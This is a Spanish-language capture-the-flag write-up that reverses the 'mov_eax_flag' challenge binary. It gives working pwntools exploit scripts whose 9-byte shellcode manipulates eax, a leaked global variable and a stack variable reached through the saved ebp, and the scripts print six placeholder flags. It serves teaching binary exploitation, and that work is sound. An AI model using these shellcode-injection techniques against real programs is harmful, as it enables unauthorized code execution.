Reversing
Al ejecutar el binario que se otorga simplemente muestra una dirección de memoria, que ahora mismo no sabemos que es pero podria servirnos como leak del binario.
❯ ./mov_eax_flag
ADDR: 0x569751a0
Iniciamos desensamblando el binario, la función main, reserva espacio a una variable varGlobal y le establece como contenido la string A o 0x41, luego muestra la dirección de la varible con printf y llama a 3 funciones que ahora analizaremos.
La primera función a la que llama es PedirMemoria, utiliza mmap para reservar 9 bytes con la protección 6 o wx y usa memset para establecer los bytes a 0xcc.
Luego llama a LeerShellcode usando como argumento el puntero que devolvió la función anterior, ahora llama a fread para recibir 9 bytes y escribirlos en él.
Una vez que recibe los 9 bytes llama a ese puntero utilizando call eax, por lo que podemos ejecutar 9 bytes como shellcode o instrucciones ensamblador.
Entonces la explotación es simple, enviaremos un int3 que nos servirá como breakpoint y 3 nops, si podemos ejecutarlos podemos ejecutar otras instrucciones.
#!/usr/bin/python3
from pwn import gdb, asm
shell = gdb.debug("./mov_eax_flag", "continue")
shellcode = asm("""
int3
nop
nop
nop
""").ljust(9, asm("nop"))
shell.sendline(shellcode)
shell.interactive()
Al ejecutar el exploit el debugger se detiene en int3 haciendo que inmediatamente ejecute las instrucciones ensamblador que tenga después como shellcode.
Program received signal SIGTRAP, Trace/breakpoint trap.
0xf7f70001 in ?? ()
pwndbg> x/4i $eip-1
0xf7f70000: int3
=> 0xf7f70001: nop
0xf7f70002: nop
0xf7f70003: nop
pwndbg>
A fin de poder resolver el reto vamos a simular las 6 flags en las que consiste.
❯ ls -l
.rw-r--r-- user user 30 B Fri Dec 12 15:43:47 2025 Flag_1.txt
.rw-r--r-- user user 30 B Fri Dec 12 15:43:51 2025 Flag_2.txt
.rw-r--r-- user user 30 B Fri Dec 12 15:43:55 2025 Flag_3.txt
.rw-r--r-- user user 30 B Fri Dec 12 15:43:59 2025 Flag_4.txt
.rw-r--r-- user user 30 B Fri Dec 12 15:44:03 2025 Flag_5.txt
.rw-r--r-- user user 30 B Fri Dec 12 15:44:09 2025 Flag_6.txt
❯ cat Flag_*.txt
hackdef{f4k3_fl4g1_4_t35t1ng}
hackdef{f4k3_fl4g2_4_t35t1ng}
hackdef{f4k3_fl4g3_4_t35t1ng}
hackdef{f4k3_fl4g4_4_t35t1ng}
hackdef{f4k3_fl4g5_4_t35t1ng}
hackdef{f4k3_fl4g6_4_t35t1ng}
Explotación
Volviendo al main vemos que muestra el valor de retorno de EjecutarShellcode, luego llama a PrintFlag mostrando la flag 1, seguido de ello compara que el valor de retorno sea el caracter H o 0x48, si se cumple entonces muestra la flag 2.
Según las convenciones de registros sabemos que el valor de retorno se almacena en el registro eax, lo que podemos hacer es a través del shellcode darle el valor de 0x48 a eax, para que al retornar cumpla la validación, algo a tener en cuenta es que necesitamos enviar 9 bytes y no menos, por lo que el resto lo rellenamos con nops.
#!/usr/bin/python3
from pwn import process, asm, log
shell = process("./mov_eax_flag", level="error")
shellcode = asm("""
push 0x48
pop eax
ret
""").ljust(9, asm("nop"))
shell.sendline(shellcode)
flag_1 = shell.recvline_contains(b"hackdef").decode()
flag_2 = shell.recvline_contains(b"hackdef").decode()
log.info(f"Flag 1: {flag_1}")
log.info(f"Flag 2: {flag_2}")
shell.close()
Al ejecutar el binario se muestra la primera flag y al cumplir la comparación se muestra la segunda, por lo tanto nuestro exploit devuelve las primeras 2 flags.
❯ python3 exploit.py
[*] Flag 1: hackdef{f4k3_fl4g1_4_t35t1ng}
[*] Flag 2: hackdef{f4k3_fl4g2_4_t35t1ng}
Al volver al main terminando este bloque encontramos que con printf se muestra varGlobal lekeando su dirección, luego compara su valor que originalmente se estableció a 0x41 con 0x41, si es diferente entonces muestra la flag 3 y va a otra comparación, si su valor es igual a 0x43 entonces muestra la flag 4.
Entonces, ya que tenemos el leak podemos simplemente recibir la dirección de la variable y cambiar su valor por 0x43, de esta forma pasamos las 2 comprobaciones.
#!/usr/bin/python3
from pwn import process, asm, log
shell = process("./mov_eax_flag", level="error")
shell.recvuntil(b"ADDR: ")
variable = shell.recvline().strip().decode()
shellcode = asm(f"""
mov byte ptr ds:{variable}, 0x43
ret
""").ljust(9, asm("nop"))
shell.sendline(shellcode)
shell.recvline_contains(b"hackdef")
flag_3 = shell.recvline_contains(b"hackdef").decode()
flag_4 = shell.recvline_contains(b"hackdef").decode()
log.info(f"Flag 3: {flag_3}")
log.info(f"Flag 4: {flag_4}")
shell.close()
Al pasar la primer comparación nos devuelve la flag 3 y en la segunda comparación la flag 4, de esta forma obtenemos 2 utilizando la misma instrucción en el shellcode.
❯ python3 exploit.py
[*] Flag 3: hackdef{f4k3_fl4g3_4_t35t1ng}
[*] Flag 4: hackdef{f4k3_fl4g4_4_t35t1ng}
Si seguimos con el flujo del main encontramos que la comparación ahora va a una variable local que se encuentra en ebp - 0x14 de la función main, la primera comparación es que su contenido sea diferente a 0x4b y si es asi devuelve la flag 5, la segunda comparación valida que el byte sea igual a 0x44 y devuelve la flag 6.
Hay que tener en cuenta que es el ebp del main y estamos ejecutando el shellcode en EjecutarShellcode, en el inicio de la función hace un push ebp que guarda el ebp del main en el stack y con el mov esp, ebp guarda el valor del stack en ebp, por lo que si accedemos al [ebp] de EjecutarShellcode tendrá el ebp del main.
pwndbg> disassemble EjecutarShellcode
Dump of assembler code for function EjecutarShellcode:
0x000014cf <+0>: endbr32
0x000014d3 <+4>: push ebp
0x000014d4 <+5>: mov ebp,esp
0x000014d6 <+7>: sub esp,0x18
0x000014d9 <+10>: call 0x167b <__x86.get_pc_thunk.ax>
0x000014de <+15>: add eax,0x2abe
0x000014e3 <+20>: mov eax,DWORD PTR [ebp+0x8]
0x000014e6 <+23>: mov DWORD PTR [ebp-0xc],eax
0x000014e9 <+26>: mov eax,DWORD PTR [ebp-0xc]
0x000014ec <+29>: call eax
0x000014ee <+31>: leave
0x000014ef <+32>: ret
End of assembler dump.
pwndbg>
Guardamos en edi el valor del ebp del main que encontramos en [ebp], restamos 0x14 y movemos a esa dirección el byte 0x44 que pasa ambas validaciones.
#!/usr/bin/python3
from pwn import process, asm, log
shell = process("./mov_eax_flag", level="error")
shellcode = asm("""
mov edi, dword ptr [ebp]
mov byte ptr [edi - 0x14], 0x44
ret
""").ljust(9, asm("nop"))
shell.sendline(shellcode)
shell.recvline_contains(b"hackdef")
flag_5 = shell.recvline_contains(b"hackdef").decode()
flag_6 = shell.recvline_contains(b"hackdef").decode()
log.info(f"Flag 5: {flag_5}")
log.info(f"Flag 6: {flag_6}")
shell.close()
La primera validación devuelve la flag 5 y la segunda validación la flag 6 por lo que con esta última parte de la ejecución conseguimos mostrar todas las flags.
❯ python3 exploit.py
[*] Flag 5: hackdef{f4k3_fl4g5_4_t35t1ng}
[*] Flag 6: hackdef{f4k3_fl4g6_4_t35t1ng}
Ya con los 3 exploits funcionales lo único que nos queda es hacer una cadena de los 3 exploits para que al ejecutarlo nos devuelva el contenido de todas las 6 flags.
#!/usr/bin/python3
from pwn import process, asm, log
shell = process("./mov_eax_flag", level="error")
shellcode = asm("""
push 0x48
pop eax
ret
""").ljust(9, asm("nop"))
shell.sendline(shellcode)
flag_1 = shell.recvline_contains(b"hackdef").decode()
flag_2 = shell.recvline_contains(b"hackdef").decode()
log.info(f"Flag 1: {flag_1}")
log.info(f"Flag 2: {flag_2}")
shell.close()
shell = process("./mov_eax_flag", level="error")
shell.recvuntil(b"ADDR: ")
variable = shell.recvline().strip().decode()
shellcode = asm(f"""
mov byte ptr ds:{variable}, 0x43
ret
""").ljust(9, asm("nop"))
shell.sendline(shellcode)
shell.recvline_contains(b"hackdef")
flag_3 = shell.recvline_contains(b"hackdef").decode()
flag_4 = shell.recvline_contains(b"hackdef").decode()
log.info(f"Flag 3: {flag_3}")
log.info(f"Flag 4: {flag_4}")
shell.close()
shell = process("./mov_eax_flag", level="error")
shellcode = asm("""
mov edi, dword ptr [ebp]
mov byte ptr [edi - 0x14], 0x44
ret
""").ljust(9, asm("nop"))
shell.sendline(shellcode)
shell.recvline_contains(b"hackdef")
flag_5 = shell.recvline_contains(b"hackdef").decode()
flag_6 = shell.recvline_contains(b"hackdef").decode()
log.info(f"Flag 5: {flag_5}")
log.info(f"Flag 6: {flag_6}")
shell.close()
❯ python3 exploit.py
[*] Flag 1: hackdef{f4k3_fl4g1_4_t35t1ng}
[*] Flag 2: hackdef{f4k3_fl4g2_4_t35t1ng}
[*] Flag 3: hackdef{f4k3_fl4g3_4_t35t1ng}
[*] Flag 4: hackdef{f4k3_fl4g4_4_t35t1ng}
[*] Flag 5: hackdef{f4k3_fl4g5_4_t35t1ng}
[*] Flag 6: hackdef{f4k3_fl4g6_4_t35t1ng}